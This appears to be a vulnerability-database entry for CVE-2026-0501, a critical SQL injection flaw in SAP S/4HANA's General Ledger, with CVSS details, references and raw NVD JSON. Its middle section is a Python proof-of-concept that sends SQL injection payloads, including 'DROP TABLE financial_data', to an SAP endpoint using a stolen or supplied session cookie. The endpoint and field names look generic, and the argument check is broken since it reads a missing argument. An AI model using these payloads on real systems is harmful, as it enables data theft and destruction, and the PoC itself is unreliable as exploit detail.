CVE-2026-0501

Description

Due to insufficient input validation in SAP S/4HANA Private Cloud and On-Premise (Financials General Ledger), an authenticated user could execute crafted SQL queries to read, modify, and delete backend database data. This leads to a high impact on the confidentiality, integrity, and availability of the application.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP S/4HANA Private Cloud 所有版本

SAP S/4HANA On-Premise (Financials General Ledger) 所有版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2026-0501 SQL Injection PoC for SAP S/4HANA
# Target: SAP S/4HANA Financials General Ledger

TARGET_URL = "https://<sap-host>/sap/fi/gl/entry"
AUTH_COOKIE = "<session-cookie>"

# SQL Injection payloads
PAYLOADS = [
    "' OR '1'='1",
    "'; SELECT * FROM users;--",
    "' UNION SELECT NULL,NULL,NULL,NULL,NULL FROM DUAL--",
    "'; DROP TABLE financial_data;--"
]

def exploit(target_url, cookie, payload):
    """Execute SQL injection attack"""
    headers = {
        'Cookie': f'sap-usercontext={cookie}',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    data = {
        'account_id': payload,
        'fiscal_year': '2024',
        'document_type': 'SA'
    }
    
    try:
        response = requests.post(target_url, headers=headers, data=data, verify=False, timeout=30)
        return response.text
    except requests.exceptions.RequestException as e:
        return f"Error: {str(e)}"

def main():
    if len(sys.argv) < 2:
        print("Usage: python cve_2026_0501_poc.py <target-url> <cookie>")
        sys.exit(1)
    
    target = sys.argv[1]
    cookie = sys.argv[2]
    
    print(f"[*] Testing CVE-2026-0501 on {target}")
    
    for i, payload in enumerate(PAYLOADS, 1):
        print(f"\n[+] Payload {i}: {payload}")
        result = exploit(target, cookie, payload)
        print(f"[Response] {result[:200]}...")

if __name__ == "__main__":
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0501
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0501
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0501/
[4] VulDB https://vuldb.com/cve/CVE-2026-0501
[5] https://me.sap.com/notes/3687749
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0501", "sourceIdentifier": "[email protected]", "published": "2026-01-13T02:15:52.797", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to insufficient input validation in SAP S/4HANA Private Cloud and On-Premise (Financials General Ledger), an authenticated user could execute crafted SQL queries to read, modify, and delete backend database data. This leads to a high impact on the confidentiality, integrity, and availability of the application."}, {"lang": "es", "value": "Debido a una validación de entrada insuficiente en SAP S/4HANA Private Cloud y On-Premise (Financials General Ledger), un usuario autenticado podría ejecutar consultas SQL manipuladas para leer, modificar y eliminar datos de la base de datos de backend. Esto conlleva un alto impacto en la confidencialidad, integridad y disponibilidad de la aplicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://me.sap.com/notes/3687749", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}